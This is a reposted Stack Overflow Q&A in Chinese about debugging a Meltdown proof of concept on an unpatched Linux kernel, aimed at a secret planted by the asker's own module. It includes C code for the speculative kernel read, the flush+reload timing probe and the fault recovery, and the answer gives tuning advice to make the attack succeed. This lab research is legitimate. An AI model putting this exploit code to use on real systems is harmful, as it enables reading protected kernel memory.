gpt4 book ai didi

linux-kernel - 鼓励 CPU 乱序执行 Meltdown 测试

转载 作者:行者123 更新时间:2023-12-04 21:02:44 25 4
gpt4 key购买 nike

我试图利用 上的崩溃安全漏洞Ubuntu 16.04 ,带有未修补的 内核 4.8.0-36 英特尔酷睿-i5 4300M 中央处理器。

首先,我使用内核模块将 secret 数据存储在内核空间中的一个地址:

static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}

printk 语句给了我 secret 数据的地址。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd

然后我尝试访问该位置的数据,并在下一条指令中使用它来缓存数组的元素。

// Out of order execution
int meltdown(unsigned long kernel_addr){
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Execute out of order
}


当执行乱序执行时,我期望 CPU 继续缓存索引 (data*4096 +DELTA) 处的数组元素。在此之后,将执行边界检查并抛出 SIGSEGV。
我处理 SIGSEGV,然后对数组元素的访问进行计时以确定哪个元素已被缓存:

void attackChannel_x86(){
register uint64_t time1, time2;
volatile uint8_t *addr;
int min = 10000;
int temp, i, k;

for(i=0;i<256;i++){
time1 = __rdtscp(&temp); //timestamp before memory access
temp = array[i*4096 + DELTA];
time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
if(time2<=min){
min = time2;
k=i;
}

}
printf("array[%d*4096+DELTA]\n", k);
}

由于数据中的值是“a”,我希望结果是数组 [97*4096 + DELTA],因为“a”的 ASCII 值是 97。

但是,这不起作用,我得到随机输出。
~/.../MyImpl$ ./OutofOrderExecution 
Memory Access Violation
array[241*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]

~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]

我能想到的可能原因是:
  • 缓存数组元素的指令没有被执行
    乱序。
  • 正在发生乱序执行,但正在刷新缓存。
  • 我误解了内核模块中内存的映射,我使用的地址不正确

  • 由于系统容易崩溃,我确信排除了第二种可能性。

    因此,我的问题是: 为什么乱序执行在这里不起作用?是否有任何“鼓励” CPU 乱序执行的选项/标志?

    我已经尝试过的解决方案:
  • 使用 clock_gettime 而不是 rdtscp 对内存访问进行计时。

  • void attackChannel(){
    int i, k, temp;

    uint64_t diff;
    volatile uint8_t *addr;
    double min = 10000000;
    struct timespec start, end;

    for(i=0;i<256;i++){
    addr = &array[i*4096 + DELTA];
    clock_gettime(CLOCK_MONOTONIC, &start);
    temp = *addr;
    clock_gettime(CLOCK_MONOTONIC, &end);
    diff = end.tv_nsec - start.tv_nsec;
    if(diff<=min){
    min = diff;
    k=i;
    }
    }
    if(min<600)
    printf("Accessed element : array[%d*4096+DELTA]\n", k);
    }
  • 通过执行循环使算术单元保持“忙碌”(参见meldown_busy_loop)

  • void meltdown_busy_loop(unsigned long kernel_addr){
    char kernel_data;
    asm volatile(
    ".rept 1000;"
    "add $0x01, %%eax;"
    ".endr;"

    :
    :
    :"eax"
    );
    kernel_data = *(char*)kernel_addr;
    array[kernel_data*4096 + DELTA] +=10;
    }
  • 在执行时间攻击之前使用 procfs 强制数据进入缓存(参见崩溃)

  • int meltdown(unsigned long kernel_addr){   
    // Cache the data to improve success
    int fd = open("/proc/my_secret_key", O_RDONLY);
    if(fd<0){
    perror("open");
    return -1;
    }
    int ret = pread(fd, NULL, 0, 0); //Data is cached
    char data = *(char*) kernel_addr; //Raises exception
    array[data*4096+DELTA] += 10; // <----- Out of order
    }

    对于任何有兴趣设置它的人,这里是 link to the github repo

    为了完整起见,我在下面附加了主要功能和错误处理代码:


    void flushChannel(){
    int i;
    for(i=0;i<256;i++) array[i*4096 + DELTA] = 1;

    for(i=0;i<256;i++) _mm_clflush(&array[i*4096 + DELTA]);
    }

    void catch_segv(){
    siglongjmp(jbuf, 1);
    }

    int main(){
    unsigned long kernel_addr = 0xfa2ef024;
    signal(SIGSEGV, catch_segv);

    if(sigsetjmp(jbuf, 1)==0)
    {
    // meltdown(kernel_addr);
    meltdown_busy_loop(kernel_addr);
    }
    else{
    printf("Memory Access Violation\n");
    }

    attackChannel_x86();
    }

    最佳答案

    我认为数据需要在 L1d 中才能使 Meltdown 工作,并且尝试仅通过没有权限的 TLB/页表条目读取它不会将其带入 L1d。

    http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/

    When any kind of bad outcome occurs (page fault, load from a non-speculative memory type, page accessed bit = 0), none of the processors initiate an off-core L2 request to fetch the data.



    除非我遗漏了什么,否则我认为只有当允许读取数据的东西将其带入 L1d 时,数据才容易受到 Meltdown 的影响。 (直接或通过硬件预取。)我不认为重复的 Meltdown 攻击可以将数据从 RAM 带入 L1d。

    尝试向使用 READ_ONCE() 的模块添加系统调用或其他内容在您的 secret 数据上(或手动写入 *(volatile int*)&data; 或将其设为 volatile,以便您可以轻松地触摸它)以将其从具有该 PTE 权限的上下文中放入缓存中。

    另外: add $0x01, %%eax是延迟退休的糟糕选择。每个 uop 只有 1 个时钟周期的延迟,因此 OoO exec 从 ADD 之后的第一条指令可以进入调度程序 (RS) 并运行到它咀嚼添加和故障负载达到退休之前只有约 64 个周期。

    至少使用 imul (3c 延迟),或更好地使用 xorps %xmm0,%xmm0/重复 sqrtpd %xmm0,%xmm0 (单 uop,Haswell 上的 16 个周期延迟。) https://agner.org/optimize/ .

    关于linux-kernel - 鼓励 CPU 乱序执行 Meltdown 测试,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55483393/

    25 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com